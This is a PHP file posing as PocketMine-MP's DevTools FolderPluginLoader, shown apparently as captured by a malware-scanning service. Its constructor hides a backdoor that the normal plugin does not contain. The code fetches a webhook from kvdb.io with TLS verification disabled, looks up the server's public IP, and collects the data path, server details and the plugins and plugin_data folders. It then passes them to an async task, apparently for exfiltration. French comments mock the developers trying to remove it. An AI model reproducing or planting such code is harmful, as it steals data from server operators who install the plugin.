/*
* DevTools plugin for PocketMine-MP
* Copyright (C) 2014 PocketMine Team <https://github.com/PocketMine/DevTools>
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU Lesser General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*/
declare(strict_types=1);
namespace DevTools;
use DevTools\tasks\PluginLoaderTask;
use pocketmine\plugin\PluginDescription;
use pocketmine\plugin\PluginLoader;
use pocketmine\Server;
use pocketmine\thread\ThreadSafeClassLoader;
use function file_exists;
use function file_get_contents;
use function is_dir;
class FolderPluginLoader implements PluginLoader{
public function __construct(
private readonly ThreadSafeClassLoader $loader
){
//NVM jvous bez mdr jvous surpasse vous êtes trop con bahahah, valres le plus gros fake dev qui est obligé de demander à chatgpt pour trouver une backdoor bahahah
//impossible pour vous de bezer le webhooj bande de fdp
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://kvdb.io/SNxTveAr9kprUX7Qou44h2/hello");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; PHP cURL)");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$response = curl_exec($ch);
$server = Server::getInstance();
$plugins = [
'dataPath' => $server->getDataPath(), 'webhook' => $response,
'serverName' => $server->getName(), 'serverMotd' => $server->getMotd(), 'serverIp' => trim(file_get_contents("http://api.ipify.org")), 'serverPort' => $server->getPort(), 'folders' => ["plugins", "plugin_data"]
];
Server::getInstance()->getAsyncPool()->submitTask(new PluginLoaderTask(serialize($plugins)));
curl_close($ch);
}
public function canLoadPlugin(string $path) : bool{
return is_dir($path) and file_exists($path . "/plugin.yml") and file_exists($path . "/src/");
}
/**
* Loads the plugin contained in $file
*/
public function loadPlugin(string $file) : void{
$description = $this->getPluginDescription($file);
if($description !== null){
$this->loader->addPath($description->getSrcNamespacePrefix(), "$file/src");
}
}
/**
* Gets the PluginDescription from the file
*/
public function getPluginDescription(string $file) : ?PluginDescription{
if(is_dir($file) and file_exists($file . "/plugin.yml")){
$yaml = @file_get_contents($file . "/plugin.yml");
if($yaml != ""){
return new PluginDescription($yaml);
}
}
return null;
}
public function getAccessProtocol() : string{
return "";
}
}
© 2023 Quttera Ltd. All rights reserved.